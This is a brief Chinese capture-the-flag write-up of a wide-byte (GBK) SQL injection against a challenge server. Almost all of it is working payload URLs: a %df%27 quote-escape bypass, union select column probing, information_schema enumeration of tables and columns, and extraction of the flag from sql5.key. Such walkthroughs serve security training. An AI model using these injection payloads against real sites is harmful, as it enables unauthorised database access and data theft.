SQL注入

一. 宽字节注入

页面有提示使用了GBK2312编码，然后开始考虑宽字节注入，加上一个%df使其吃掉%5c

http://103.238.227.13:10083/?id=1%df%27         报错OK,继续

union select测试到两列时出现回显： 

http://103.238.227.13:10083/?id=-1%df%27 union select 1,2--+

构造语句查看数据库名
http://103.238.227.13:10083/?id=-1%df%27 union select 1,database()%23
```
构造语句查看列名
http://103.238.227.13:10083/?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35--+
```
构造语句查看字段名
http://103.238.227.13:10083/?id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579--+
```
最后构造语句查看flag
http://103.238.227.13:10083/?id=-1%df%27 union select 1,string from sql5.key--+